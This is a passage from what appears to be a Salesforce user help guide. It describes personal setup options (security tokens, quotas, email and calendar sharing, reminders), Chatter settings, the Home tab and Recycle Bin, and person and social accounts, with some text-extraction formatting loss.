client such as Connect for Outlook, Connect Offline, Connect for Office, Connect for Lotus Notes, or the Data Loader.
You are offered a security token if you try to access Salesforce from an untrusted network. Once you have been issued a security
token, you have the option to reset this security token at any time.
To reset your security token, click Your Name > Setup > My Personal Information > Reset Security Token, and click the
Reset My Security Token button. The new security token is sent via email to the email address on your Salesforce user record.
If you have never been offered a security token, for example, because your organization restricts the IP addresses from which
you can log in, the Reset My Security Token node does not appear in Setup.

45

Personal Setup

Adding and Editing Quotas

Tip: We recommend that you obtain your security token using the Salesforce user interface from a trusted network
prior to attempting to access Salesforce from a new IP address.

See Also:
Changing Your Password

Adding and Editing Quotas


Available in: Professional, Enterprise, Unlimited, and Developer Editions

Note: This information only applies to Forecasts (Classic) and not to the Forecasts product released in Winter 12 or
to Customizable Forecasts.
You can track your sales quotas on a quarterly basis. To add or edit a quota, go to your forecast for the quarter, or select Your
Name > Setup > My Personal Information > Personal Information.
To create a new quota from the personal information page:
1. Click New in the Quotas related list.
2. Select the year and quarter, and click Next.
By default, the page displays the quarter that follows the last quota you created. The year you select should be based on
your organizations Fiscal Year Starts In settings.
3. Enter amounts for each month. Do not include any currency symbols. If your organization uses multiple currencies, your
quota is created in your personal currency by default.
4. Click Save to finish. Creating a quota automatically creates the corresponding forecast for that quarter.
To edit a quota, click the quota name in the Quotas related list. Editing the quota amounts automatically logs an entry to the
Forecast History related list of the corresponding forecast (see Forecast History on page 2498).
Note: Managers should enter their quota amounts as a sum of their entire teams quotas.
If your sales group does not break down quotas monthly, enter zeroes for the first two months and put the entire
amount in the third month.
If your organization uses multiple currencies, click Change Currency in the Quotas related list to change the currency of the
quota. All quota and forecast values are automatically converted to the new currency using the conversion rates maintained by
your administrator.

See Also:
Creating Forecasts
Editing Forecasts

46

Personal Setup

Editing Email Settings

Editing Email Settings


Available in: All Editions except for Database.com

Click Your Name > Setup > Email > My Email Settings to alter email settings that apply to all outbound emails you send
from within the application.
You can change:

How your name appears on outbound emails


Your return email address
Whether all individual outbound emails are blind carbon copied to your return address (not available if your organization
has enabled sending compliance BCC emails)
The signature that appears at the bottom of all individual outbound emails and can be added to mass email messages.
Note: In Personal and Developer Editions, a Salesforce-specific tag line is added below your personal signature on
all outbound emails.

See Also:
Sending Email

Editing Stay-in-Touch Settings


Available in: All Editions except for Database.com

To set your preferences for requesting contact information updates:


Note: If your organization uses person accounts, person accounts are also affected by these settings. For more
information, see What is a Person Account? on page 68.
1. Click Your Name > Setup > Email > My Stay-in-Touch Settings.
2. Choose Yes for Automatic Bcc to receive copies of your sent Stay-in-Touch emails. This option is only available if your
organization has not enabled compliance BCC emails.
3. Enable the reminder if you would like to be prompted to send a Stay-in-Touch request whenever you save a new contact.
4. Enter a default subject for the email.
5. In the note area, enter a message to the recipient.
6. In the signature area, enter a signature with your contact information.
7. Use the merge fields area at the top of the page to display available merge field values, which you can copy and paste into
the subject, note, or signature boxes as needed.

47

Personal Setup

Granting Access to Your Calendar

8. Click Save.

See Also:
Sending Stay-in-Touch Requests

Granting Access to Your Calendar


Available in: Professional, Enterprise, Unlimited, and Developer Editions

You can grant access to other users, personal and public groups, roles, or roles and subordinates to view your calendar.
1.
2.
3.
4.

Click Your Name > Setup > My Personal Information > Calendar Sharing.
Click Add to share your calendar with others.
Use the arrows to add or remove users, roles, or groups to your calendar.
In Calendar Access, specify how you want to share your calendar by selecting one of the following:
Option

Description

Hide Details

Others can see whether given times are available, but cannot
see any other information about the nature of events in the
calendar.

Hide Details and Add Events

Others can see whether given times are available, but cannot
see details of events. Other users can insert events in the
calendar.

Show Details

Others can see detailed information about events in the


calendar.

Show Details and Add Events

Others can see detailed information about events in the


calendar and can insert events in the calendar.

Full Access

Others can see detailed information about events in the


calendar, insert events in the calendar, and edit existing
events in the calendar.

5. Click Save.
The available Calendar Access options vary depending on the organization-wide calendar sharing level set by your
administrator. Only choices that make your calendar access less restrictive are available. Calendar sharing settings affect the
visibility of items on a calendar, but do not give access to event detail pages.

48

Personal Setup

Setting Record Type Preferences

Note: Regardless of whether your organization's sharing settings specify using hierarchies, activities associated with
a record are still visible to users above the activitys assignee in the role hierarchy.

See Also:
Activity Accessibility

Setting Record Type Preferences


Available in: Enterprise, Unlimited, and Developer Editions

Set an option to automatically insert your default record type when creating new records. Using this setting, you can bypass
the page prompting you to select a record type. If you have several different record types available to you, you may prefer to
be prompted to select a record type every time you create a new record.
1. Click Your Name > Setup > My Personal Information > Record Type Selection.
2. Check any box to automatically select the default record type when creating records of that type.
Any unchecked boxes indicate that you prefer to be prompted to select a record type.
3. Click Save.
Note: The Record Type Selection option may not be available because your organization is not using record types or
multiple record types are not available for a particular tab.
Individual checkboxes are only offered when you have more than one record type available for a tab.
If your organization uses person accounts, note that checking the Account box on this page causes one default record
type selection for all types of accounts. It is not possible to set separate default record type selections for business
accounts and person accounts. If you work with both types of accounts, leave the box blank.

See Also:
Managing Record Types

Scheduling Opportunity Update Reminders


Available in: Professional, Enterprise, Unlimited, and Developer Editions

Once opportunity update reminders are enabled for your organization, any user who has direct reports can schedule them.
To schedule an opportunity update reminder:
1. Click Your Name > Setup > Email > My Update Reminder.
2. Check Active if you want reminders to start after you save the settings.

49

Personal Setup

Scheduling Opportunity Update Reminders

3. Enter a name and address for the sender of the reminders.


4. Choose a recipients option.
5. Enter any other recipients in the CC field. Separate additional email addresses with a commas, semi-colons, spaces, or new
lines.
6. Enter a subject and message to be included in the email reminders.
7. Select a schedule frequency.
8. Select Include Past Due Opportunities if you want to include all opportunities that are open but have a close date
within the previous 90 days.
9. Choose a Close Date to include opportunities with dates within that range.
10. Select the fields to include in the email reminders.
Field

Description

Last Login Date

Most recent login date of the opportunity owner

# of Open Opportunities

Total number of opportunities in the report

# Not Updated in Last 30 Days

Total number of opportunities that have not been updated


in 30 days

Open Opportunity Amount

Total of all opportunity amounts in report

Total Closed Amount

Total closed amount for all opportunities in report.


If your organization uses multiple currencies, this amount
is converted to the user's currency. If your organization uses
advanced currency management, the conversion is done using
dated exchange rates.

Last Update Date

Most recent date the opportunity owner submitted a forecast.


If your organization uses multiple currencies, this amount
is converted to the user's currency. If your organization uses
advanced currency management, the conversion is done using
dated exchange rates.

Forecast Amount

From the forecast.


See Forecast Fields on page 2499.
If your organization uses multiple currencies, this amount
will be converted to the user's currency using the standard
conversion rate.
This field is not available to organizations using customizable
forecasting. For more information, see Do I Have
Customizable Forecasting? on page 2502.

Best Case Amount

From the forecast.


See Forecast Fields on page 2499. If your organization uses
multiple currencies, this amount will be converted to the
user's currency using the standard conversion rate.

50

Personal Setup

Field

Checking for Desktop Client Updates

Description
This field is not available to organizations using customizable
forecasting. For more information, see Do I Have
Customizable Forecasting? on page 2502.

11. Click Save.


When there are no records in an opportunity update reminder, Salesforce does not send an email. If no email is sent for three
consecutive opportunity update reminders, the scheduled reminder is deactivated.

See Also:
Enabling Opportunity Update Reminders

Checking for Desktop Client Updates


Available in: All Editions except for Database.com

Desktop clients such as Connect for Outlook and Connect Offline integrate Salesforce with your PC. Follow these steps to
see which desktop client versions are installed on your computer and download available updates:
1.
2.
3.
4.

Navigate to Your Name > Setup > Desktop Integration > Check for Updates.
From the table, review the names and version numbers of available desktop clients.
If you are using Internet Explorer, click the correct desktop client and then click Install Now to install a client.
If you are using another browser such as Mozilla Firefox, click Download Now to save the installer file to your computer.
Then double-click the saved file to run the installer program.

Your administrator controls which desktop clients you are allowed to install. See Desktop Client Access Overview on page
547. Note that Connect Offline is the only client available with Developer Edition.

See Also:
Force.com Connect for Microsoft Outlook Overview
Force.com Connect Offline Overview
Force.com Connect for Microsoft Office Overview
Force.com Connect for Lotus Notes Overview
Viewing Client Update Alerts

51

Personal Setup

Customizing Activity Reminders

Customizing Activity Reminders


Available in: All Editions except for Database.com

When reminders are enabled for your organization, the default reminder settings are configured to open the reminder window
and play a sound fifteen minutes before an event's start time, or at 8:00 am the day a task is due. Click Your Name > Setup
> My Personal Information > Reminders to customize the following reminder settings to meet your needs.
Setting

Description

Trigger alert when reminder comes due

If enabled, open the reminder window when a reminder is


due.

Play a reminder sound

If enabled, play a reminder sound when a reminder is due.

By default, set reminder on Events to:

If enabled, set a reminder on all new events. From the


drop-down list, select how long before the event you want to
be reminded of the upcoming event. You can disable the
reminder or change the reminder time when editing the event.

By default, set reminder on Tasks to:

If enabled, set a reminder on all new tasks. From the


drop-down list, select what time, on the day the task is due,
you want to be reminded of the task. All tasks, including those
created by workflow, will use this default. You can disable the
reminder or change the reminder time when editing a task.

Sort reminder window by due date

If enabled, this option will sort reminders by due date first


and then reminder.

To test your settings, click Preview Reminder Alert.


Note: If the preview popup does not display, ensure that you aren't blocking popups. For more information, see Why
can't I view Salesforce popup windows such as lookup dialogs and the Help & Training window? on page 3617.

See Also:
Setting Reminders on Activities
Editing Tasks
Editing Events
Using the Activity Reminder Window

52

My Chatter Settings

Automatically Following Records You Own

MY CHATTER SETTINGS
Automatically Following Records You Own
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, Developer, and Database.com Editions.

User Permissions Needed


To view a record:

Read on the record

When you follow records you create, updates are sent to your Chatter feed when you or someone else changes a tracked field
on those records.
By default, you dont automatically follow the records you create. If you want to automatically follow the records you create,
you must enable auto-follow in your Chatter Settings.
1. Click Your Name > Setup > My Chatter Settings > My Feeds.
2. Select Automatically follow records I create.
3. Click Save.
Note: If the Account Owner field isn't tracked and someone changes the owner of an account, the new owner won't
automatically follow the account. To automatically follow a record when someone else assigns you ownership, your
administrator must enable the owner field on the object for feed tracking.

See Also:
Following People
Following Records
Feeds
The People and Records You Auto-Follow Initially

53

Personal Setup

Enabling or Disabling Approval Request Posts

Enabling or Disabling Approval Request Posts


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, Developer, and Database.com Editions.

User Permissions Needed


To view a record:

Read on the record

If your organization has Approvals in Chatter enabled, you can receive approval requests as posts in Chatter.
1. Click Your Name > Setup > My Chatter Settings > My Feeds.
2. Select Receive approval requests as private Chatter posts to receive approval requests in posts or deselect
the option to stop receiving approval requests.
By default, you automatically receive approval requests in posts when your administrator turns on Approvals in Chatter.
3. Click Save.
Note: Only users with access to the approval record can see the approval request post. Comments on approval posts
aren't persisted to the approval record.

Configuring Your Social Accounts and Contacts Settings


Business accounts available in: All Editions except Database.com
Person accounts available in: Enterprise, Unlimited, and Developer Editions
Contacts available in: All Editions except Database.com
Leads available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

If the Social Accounts and Contacts feature is enabled for your organization, you can turn off social networks that you don't
want to use. You can also turn off the Social Accounts and Contacts feature, if needed.
1. Click Your Name > Setup > My Social Accounts and Contacts > Settings.
2. Click Change your Social Accounts and Contacts settings.
3. Customize Social Accounts and Contacts so it works the way you want it to.

Select the social networks that you want to use. Deselect any of the services that you don't want to use.
Deselect Use Social Accounts and Contacts to turn off the Social Accounts and Contacts feature entirely. Select this
checkbox to turn the feature back on if you change your mind.

54

Home Tab

Home Tab Overview

4. Click Save.

See Also:
Social Accounts, Contacts, and Leads Overview
Security and Privacy When Using Social Accounts and Contacts
Using Social Accounts
Social Accounts, Contacts, and Leads Overview
Security and Privacy When Using Social Accounts and Contacts
Using Social Contacts
Social Accounts, Contacts, and Leads Overview
Security and Privacy When Using Social Accounts and Contacts
Using Social Leads

HOME TAB
Home Tab Overview
The available tabs and options in the Create New drop-down list vary according to which permissions you have and which
Salesforce Edition you are using.

From the Home tab, you can view your calendar and tasks, and select tab and sidebar options to access other information.
You can also search for information and view messages and custom links provided by your administrator.
The tabs at the top of the page let you access different types of information.
Tabs can be organized into groups called apps, which make it easy to switch between sets of tabs that relate to one another.
In addition to the standard apps, such as Sales and Call Center, your administrator can create custom apps to define the tabs
that you see. You can switch between apps by choosing from the Force.com app menu at the top of the page.

55

Home Tab

Changing Your Home Tab Dashboard

An alert banner may appear on the Home tab to let you know when updates are available for desktop clients such as Connect
for Outlook and Connect Offline. For more information, see Viewing Client Update Alerts on page 63.

See Also:
Troubleshooting Login Issues
Using Your Calendar and Tasks on the Home Page
Search Overview
Recycle Bin
About the Sidebar
Custom Links
Messages and Alerts
Recent Items
What is an App?

Changing Your Home Tab Dashboard


Available in: Professional, Enterprise, Unlimited, and Developer Editions

Your administrator can create customized Home tab pages that display customized components such as a dashboard snapshot
or your company logo. If your Home tab contains a dashboard snapshot, you can change the dashboard settings.
Click Customize Page in the Dashboard section of the Home tab if yours contains a dashboard. Use this page to select a
different dashboard to display on the Home tab. Click Refresh to refresh the data in your dashboard. See Refreshing Dashboard
Data on page 3093 for more information.

See Also:
Customizing Your Display

Using Your Calendar and Tasks on the Home Page


Available in: All Editions except Database.com

Note: The My Tasks and Calendar sections display on the Home tab if they are included as components on your
home page layout. For more information, see Customizing Home Tab Page Layouts on page 1299.
From the Home tab, you can view, create, and edit events and tasks. If you have Salesforce for Outlook, Connect for Outlook
or Connect for Lotus Notes installed, you may be able to sync your Outlook or Lotus Notes records with Salesforce so they
display in the My Tasks and Calendar sections on the Home page.

56

Home Tab

Using Your Calendar and Tasks on the Home Page

Using the My Tasks Section


In the My Tasks section on the Home tab, you can:

Click New to create a task.


View a list of tasks assigned to you. Up to fifteen tasks can be displayed; to view all your tasks, click View More.
The recurrence icon ( ) identifies tasks that are part of a recurring series.

Choose a time frame from the drop-down list to change which tasks display.
Assign unresolved emails to related records; to view all your unassigned emails, click My Unresolved Items.
If your organization has enabled hover links for the My Tasks list, hover your mouse over the subject of a task to see the
details of the task in an overlay. Alternatively, click the subject of a task to open the detail page of that task.
Click X to close a task.

Using the Calendar Section


In the Calendar section on the Home tab, you can:

Click New Event to create a new event.


Click the Scheduled Meetings subtab to view a list of the events you have scheduled for the next seven days. This tab
displays a maximum of 50 events per day.
The recurrence icon ( ) identifies events that are part of a recurring series.
The multi-person event icon ( ) identifies events with invitees. Multi-person events aren't available in Personal Edition.
If your organization has enabled home page hover links for events, hover your mouse over the subject of an event to
display the details of the event in an interactive overlay. Alternatively, click the subject of an event to open the detail
page of that event.

Click the Requested Meetings subtab to view meetings you have requested but not confirmed. This tab displays a maximum
of 100 requested meetings.
Click the subject of the meeting to open its detail page where you can cancel and reschedule the meeting.
The Status column shows the number of invitees that have responded to your meeting request.
Once you confirm a meeting, it appears on the Scheduled Meetings subtab.
If the Requested Meetings subtab doesn't display, ask your Salesforce administrator to add it to the Calendar section. See
Customizing Activity Settings on page 1331.

View a small calendar of the current month. To change which month displays, click the Previous Month ( ) and Next
Month ( ) icons as appropriate.
Navigate to different views of your calendar: Click the icons underneath the small monthly calendar as appropriate. For
more information, see Viewing Your Calendar on page 143.

See Also:
Viewing Activities
Requesting a Meeting Using Cloud Scheduler
Setting Up Cloud Scheduler

57

Home Tab

Recycle Bin

Recycle Bin
Available in: All Editions except for Database.com

User Permissions Needed


To view and recover your deleted records:

Read on the records in the Recycle Bin

To view and recover records deleted by other users:

Modify All Data

To recover deleted public tags:

Tag Manager

To purge the Recycle Bin:

Modify All Data

The Recycle Bin link in the sidebar lets you view and restore recently deleted records for 15 days before they are permanently
deleted. Your recycle bin record limit is 25 times the Megabytes (MBs) in your storage. For example, if your organization has
1 GB of storage then your limit is 25 times 1000 MB or 25,000 records. If your organization reaches its Recycle Bin limit,
Salesforce automatically removes the oldest records if they have been in the Recycle Bin for at least two hours.

Viewing Items in the Recycle Bin


Choose My recycle bin from the drop-down list to view just the items you deleted. Administrators, and users with the Modify
All Data permission, can choose All recycle bin to view all data that has been deleted for the entire organization. In Personal
Edition, the All recycle bin option shows all of your deleted items.

Searching for Items in the Recycle Bin


1. Choose My recycle bin or All recycle bin from the drop-down list. Choosing My recycle bin searches for matches only
in the items you deleted.
2. Enter your search terms. Search terms are treated as separate words with an implied AND between them. For example,
searching for bob jones returns items with bob and jones together but not bob smith whose email address is bsmith@jones.com.
An implied wildcard is appended to your search terms so searching for bob returns any bob or bobby. Searches look for
matches in the field displayed in the Name column of the Recycle Bin such as lead Name, Case Number, Contract
Number, or Product Name.
Note: Some search features, including stemming and synonyms, are not available in the Recycle Bin search.

3. Click Search.

Restoring Items in the Recycle Bin


You can restore items by checking the box next to those items and clicking Undelete. To restore all deleted items, check the
box in the column header and then click Undelete.
When you undelete a record, Salesforce restores the record associations for the following types of relationships:

Parent accounts (as specified in the Parent Account field on an account)


Parent cases (as specified in the Parent Case field on a case)
Master solutions for translated solutions (as specified in the Master Solution field on a solution)

58

Home Tab

Creating Records Using the Create New Drop-Down List

Managers of contacts (as specified in the Reports To field on a contact)


Products related to assets (as specified in the Product field on an asset)
Opportunities related to quotes (as specified in the Opportunity field on a quote)
All custom lookup relationships
Relationship group members on accounts and relationship groups, with some exceptions
Tags
An article's categories, publication state, and assignments
Note: Salesforce only restores lookup relationships that have not been replaced. For example, if an asset is related to
a different product prior to the original product record being undeleted, that asset-product relationship is not restored.

Purging the Recycle Bin


To permanently remove your deleted items prior to the 15 day period, administrators, and users with the Modify All Data
permission, can click Empty your recycle bin or Empty your organizations recycle bin .

See Also:
Removing Members from Relationship Group Members
Managing Articles and Translations

Creating Records Using the Create New Drop-Down List


The available options in the Create New drop-down list vary according to which permissions you have, which Salesforce
Edition you are using, and which app you are using.

The Create New drop-down list, available in the sidebar, provides options to create new records. To create a new record using
the drop-down list:
1. Select the type of record you want to create. The new record page immediately displays in the appropriate tab or the Upload
a File dialog box displays if you selected File.
2. Fill in the fields.
3. Click Save or Upload to My Files if you selected File.

Using the Tags Sidebar Component


The Tags link and Recent Tags drop-down list, available in the sidebar, allow you to browse tags and access your most recently
used tags, respectively.

Click Tags to browse, search, and manage your entire tag collection.

59

Home Tab

About the Sidebar

Select a tag in the Recent Tags drop-down list to view all records that have been marked with that tag. The tags that appear
in this list are those you have most recently used to tag records.

See Also:
Tags Overview
Browsing, Searching, and Managing Tags
Enabling Tags

About the Sidebar


Available in: All Editions except Database.com

The sidebar column that appears on the left side of most Salesforce pages provides convenient access to the following links
and commands.

Search
Use the header search box, if you don't have sidebar search.

The Google Talk gadget


The Tags link and Recent Tags drop-down list
The Divisions drop-down list
The Create New drop-down list
A Calendar shortcut to your last used calendar view
The Recent Items list
Messages and Alerts
Custom Links
A shortcut to the Recycle Bin

The options in your sidebar may vary if your administrator has customized your home page layout. For more information, see
Customizing Home Tab Page Layouts on page 1299.
If your administrator has enabled the collapsible sidebar, you have the choice to show or hide the sidebar as needed. Click the
edge of the sidebar or press ALT+S to open or close the sidebar as needed. Opening the sidebar using ALT+S automatically
places your cursor in the Search box.
Note: Call center users won't see incoming calls if they collapse the sidebar.

Tip: If your organization uses divisions, we recommend that you keep the sidebar pinned and visible at all times so
you always have access to the Divisions drop-down list.

See Also:
Customizing Activity Settings

60

Home Tab

Messages and Alerts

Messages and Alerts


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

The Messages and Alerts section of the Home tab sidebar displays announcements customized by your organization's
administrator. The Messages and Alerts section is not available in Personal Edition.

See Also:
Customizing Home Tab Page Layouts
About the Sidebar

Custom Links
Available in: All Editions except Database.com

This section appears on the Home tab depending on your customized home page layout. See Customizing Home Tab Page
Layouts on page 1299.
The Custom Links section of the Home tab contains links to websites or Salesforce pages that are useful for everyone in your
organization. Your administrator sets which links display in this section.

See Also:
Customizing Home Tab Page Layouts
About the Sidebar

Recent Items
Available in: All Editions

In the Recent Items section of the sidebar column, you see a short list of up to 10 specific accounts, campaigns, cases, contacts,
contracts, documents, ideas, questions, leads, opportunities, quotes, orders, person accounts, solutions, users, or custom objects
youve most recently added or viewed. To see the details of an item, click the name of the item.
Tip: If your organization has enabled hover details, hover your mouse over any item in the Recent Items list to view
key information about the record before clicking into that record's detail or edit page.

61

Home Tab

Changing Your Working Division

Note: Your Recent Items may show fewer than 10 items if you have recently deleted any of your recently viewed
items. Likewise, the Recent lists on the tab home pages (for example, the Recent Leads list) may show fewer than 10
or 25 items if you have recently deleted items.

See Also:
About the Sidebar

Changing Your Working Division


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To change your working division:

Affected by Divisions

To limit list views, searches, and reports by division:

Affected by Divisions

If your administrator has enabled divisions, your organizations data will be segmented into different sections, making searches,
reports, and list views more meaningful for you. For example, if you work in the North American division, you can create
reports to show only records belonging to the European division.
You can change the division in which you are working at any time. The data you see in search results includes records in your
working division.

To set your working division, simply select a division from the Divisions drop-down list in the sidebar.
To search within multiple divisions at the same time, use advanced search, global search, or select --All-- from the Divisions
drop-down list.
To search within a division in a lookup dialog, select a division from the drop-down list in the lookup dialog window. Your
results include records in the selected division.
Note: All searches within a working division also include the global division. For example, if you search within a
working division called Western Division, your results will include records found in both the Western Division
and the global division.

To report on records in a specific division, select a division from the Divisions drop-down list on the report. Select
--Current-- to show records in your current working division.
Reports that are already scoped (such as My Cases or My teams accounts) include records in all divisions, and you cannot
further limit them to a specific division.

To find records in a specific division in a list view, use the Divisions drop-down list when creating or editing the list view.

62

Home Tab

Viewing Client Update Alerts

Note: When you create new records, those records are not automatically assigned to your current working division.
See Overview of Divisions on page 455 for more information.

See Also:
About Divisions
Transferring Divisions
Changing Your Default Division
About the Sidebar

Viewing Client Update Alerts


Available in: Enterprise, Unlimited and Developer Editions

User Permissions Needed


To view client update alerts:

On, updates w/alerts


OR
On, must update w/alerts
on your profile

Under the following conditions, an alert banner automatically appears across the Home tab when new versions of clients such
as Connect for Outlook and Connect Offline are available.

Your administrator has given you access to see the Home tab alerts. See Desktop Client Access Overview on page 547.
In the past, you have successfully logged in from the client with your Salesforce username and password.

Click the alert banner to proceed to the Check for Updates page.
Note the following:

You can navigate to the Check for Updates page at any time to see which client versions are installed on your computer.
After installing the update, the alert banner continues to appear across the Home tab until you log in through the newly
updated client.
Connect Offline is the only client available with Developer Edition.

See Also:
Desktop Client Access Overview
Force.com Connect for Microsoft Outlook Overview
Force.com Connect Offline Overview
Force.com Connect for Microsoft Office Overview
Force.com Connect for Lotus Notes Overview

63

Accounts

Accounts Overview

ACCOUNTS
Accounts Overview
Business accounts available in: All Editions except Database.com
Person accounts available in: Enterprise, Unlimited, and Developer Editions

Accounts are your organization's customers, competitors, and partners. Each account stores information such as name, address,
and phone numbers. For each account, you can store related information such as opportunities, activities, cases, partners,
contracts, and notes.
The Accounts tab displays a home page that lets you quickly create and locate all types of accounts, and also sort and filter
your accounts using standard and custom list views. In addition, this tab lets you view and edit detailed information on each
account to which you have access.
You can also enhance your traditional account data with your customers social information. With the Social Accounts and
Contacts feature, you can see your accounts social network profiles and other social datadirectly in Salesforce. Easy access
to this information helps you know your customers better, so you can solve their problems and build stronger relationships.
If your organization has been enabled with person accounts, you have two different kinds of accounts: business accounts and
person accounts. Business accounts represent the other companies with which your organization does business. For business
accounts, the individuals who work at those companies are represented by contacts. Person accounts represent the individual
consumers with whom your company does business, such as a financial services client, an online shopper, or a vacation traveler.
Depending on your organization's business model, you may use business accounts, person accounts, or both.
If your organization has a partner portal, you can create partner accounts. Partner accounts are business accounts that a channel
manager uses to manage partner organizations, partner users, and activities.
Note: In the online help and other Salesforce documentation, the word account by itself always refers to both
business accounts and person accounts. The terms business account and person account are used when there are
differences between the two kinds of accounts.

See Also:
Accounts Home
What is a Person Account?
Social Accounts, Contacts, and Leads Overview
Partner Portal Overview

64

Accounts

Social Accounts, Contacts, and Leads Overview

Social Accounts, Contacts, and Leads Overview


Business accounts available in: All Editions except Database.com
Person accounts available in: Enterprise, Unlimited, and Developer Editions
Contacts available in: All Editions except Database.com
Leads available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

The Social Accounts and Contacts feature lets you view social network profiles and other social information for your accounts,
contacts, and leads, directly in Salesforce. Easy access to this information provides your sales users with social sales intelligence
that they can use to better meet existing and potential customers needs. The Social Accounts and Contacts feature is enabled
by default for organizations created after the Spring 12 release. For existing organizations, the administrator must enable
Social Accounts and Contacts.
Note: In the online help and other Salesforce documentation, the word account by itself always refers to both
business accounts and person accounts. The terms business account and person account are used when there are
differences between the two kinds of accounts.
You can see social information from several social networks.
Social
Network

Information Displayed in Salesforce

Supported Records

Facebook

Facebook gives you a more personal view of your existing and potential
Accounts
customers and helps you find common interests. For contacts, leads, and
Contacts
person accounts, you can see profiles, status updates, and the number of
mutual friends you share. For business accounts, you can view your customers Leads
corporate social media presence, including their company profile and wall
posts.

Klout

Klout is a third-party service that analyzes people's influence across social Accounts
networks, including Twitter, Facebook, and LinkedIn. Use Klout to see
Contacts
your accounts', contacts', and leads' influence on social media, who they
Leads
influence, who influences them, and the topics they talk about.

LinkedIn

LinkedIn is useful for staying up to date on your contacts', leads', and person Contacts
accounts' professional personas. You can see profile photos, current titles
Leads
and companies, and locations.
Person Accounts

Twitter

Twitter is a great way to see the public personas of your existing and
Accounts
potential customers and learn what's on their minds. You can see bios, recent
Contacts
tweets, and the people who are following and being followed by your
Leads
accounts, contacts, and leads.

65

Accounts

Social Accounts, Contacts, and Leads Overview

Social
Network

Information Displayed in Salesforce

Supported Records

YouTube

YouTube helps you find and view videos related to your accounts, contacts, Accounts
and leads.
Contacts
Leads

Additional social networks may be available in future updates.


Important: The Social Accounts and Contacts feature uses Facebook, Klout, LinkedIn, Twitter, and YouTube public
APIs to display social information in Salesforce. Because these social networks have the option of modifying or
terminating access to their APIs at any time, salesforce.com cant guarantee the future availability of this feature or
any of its functionality, including access to the data that is currently provided or to any particular social network as a
whole.
To get started with Social Accounts and Contacts, simply sign in to your social network accounts from any account, contact,
or lead detail page. This creates private connections between Salesforce and your social network accounts, allowing you to see
external social profiles in Salesforce.
Then youre ready to take your customer insights to the next level by linking your accounts, contacts, and leads social profiles
to their Salesforce records. Once you link a profile to a record, that social data is available to you and everyone else in your
organization, without having to log in to other sites. The details that each Salesforce user can see depends on their connection
level with the account, contact, or lead, as well as the privacy settings for the profile. Regardless of how much detail is visible,
the information that Salesforce displays is always current.
Click the social network icons in the header on account, contact, and lead detail pages to display the Social Accounts and
Contacts viewer. If no icons are visible, Social Accounts and Contacts is disabled for your organization. If a social network
icon is missing, that service may be turned off. Contact your administrator if you'd like to use this feature or want access to a
social network that isn't currently available.

See Also:
Security and Privacy When Using Social Accounts and Contacts
Enabling and Configuring Social Accounts and Contacts
Using Social Accounts
Security and Privacy When Using Social Accounts and Contacts
Enabling and Configuring Social Accounts and Contacts
Using Social Contacts
Security and Privacy When Using Social Accounts and Contacts
Enabling and Configuring Social Accounts and Contacts
Using Social Leads

66

Accounts

Social Accounts, Contacts, and Leads Overview

Security and Privacy When Using Social Accounts and Contacts


Business accounts available in: All Editions except Database.com
Person accounts available in: Enterprise, Unlimited, and Developer Editions
Contacts available in: All Editions except Database.com
Leads available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

Social Accounts and Contacts is secure and private. Here's an overview of its security and privacy features:

Salesforce uses the trusted OAuth protocol when you sign in to your Facebook, LinkedIn, or Twitter accounts, so your
login credentials aren't exposed to Salesforce.
Salesforce doesn't import or store social information. Each time you select a contact's social profile or YouTube video,
Salesforce retrieves the information directly from the corresponding social network and simply displays it. The information
that you see is read-only and can't be modified.
You can't import or store social data in Salesforce records. This ensures that you always see current details when viewing
your accounts', contacts', and leads' social information.
The details that are visible to you when you view a Facebook, LinkedIn, or Twitter profile are determined by the connection
that you have with the account, contact, or lead, as well as privacy settings. Typically you see the same information as you
would when viewing the profile while logged in directly to the social network. Some of your customers, however, may have
privacy settings that restrict the visibility of some or all of their profile details outside the network. In those cases, you see
very few, if any, profile details in Salesforce.
Your view of a Facebook, LinkedIn, or Twitter profile is not shared with anyone else in your organization. Other Salesforce
users must sign in to their own social network accounts to use Social Accounts and Contacts and the profile details that
are visible depend on each user's connection level with the account, contact, or lead, as well as their privacy settings.
None of your Facebook, LinkedIn, or Twitter profile information is stored in Salesforce, nor does Salesforce post anything
about you or your activities to your social network accounts.
Accounts, contacts, and leads aren't notified when you view their social network profiles using the Social Accounts and
Contacts feature.
Important: The Social Accounts and Contacts feature uses Facebook, Klout, LinkedIn, Twitter, and YouTube public
APIs to display social information in Salesforce. Because these social networks have the option of modifying or
terminating access to their APIs at any time, salesforce.com cant guarantee the future availability of this feature or
any of its functionality, including access to the data that is currently provided or to any particular social network as a
whole.

See Also:
Social Accounts, Contacts, and Leads Overview
Using Social Accounts
Social Accounts, Contacts, and Leads Overview
Using Social Contacts
Social Accounts, Contacts, and Leads Overview
Using Social Leads

67

Accounts

What is a Person Account?

What is a Person Account?


Business accounts available in: All Editions except Database.com
Person accounts available in: Enterprise, Unlimited, and Developer Editions

Note: Person accounts are not enabled by default in Salesforce. To quickly verify whether your organization uses
person accounts, see if you have an option to select Person Account as the record type when you create a new account.
To request person accounts, check with your administrator.
A person account is an individual consumer with whom you do business, such as a financial services client, an online shopper,
or a vacation traveler. Person accounts are applicable to organizations that operate on a business-to-consumer model as opposed
to a business-to-business model.
In a business-to-business model, there is a natural differentiation between the other businesses with whom you work and the
people associated with those businesses. In Salesforce, that translates to accounts and contacts having different fields, features,
and tabs. In a business-to-consumer model, because you are providing products or services to people rather than companies
or organizations, the distinction between accounts and contacts does not exist. Consequently, person accounts in Salesforce
have a combination of fields from both accounts and contacts, and can be used as contacts in most situations that involve
contacts. For example, business accounts do not have standard fields for email address and job title, but person accounts do.
Also, person accounts can be associated with campaigns just like contacts, but business accounts cannot. For details on the
contact-specific functionality that applies to person accounts, see Person Account Behaviors on page 69.
The ability for person accounts to act like contacts is made possible by applying an account record type which has special
properties. The default name of this record type is Person Account. Your administrator may have changed the name of this
record type, and also may have created more account record types that have the same special properties. For more information
on record types, see Managing Record Types on page 1268 and Changing the Record Type Field on page 114.
Note: In the online help and other Salesforce documentation, the word account by itself always refers to both
business accounts and person accounts. The terms business account and person account are used when there are
differences between the two kinds of accounts.

See Also:
Person Account Behaviors
Accounts Overview
Contacts Overview
Tip sheet: Using Person Accounts
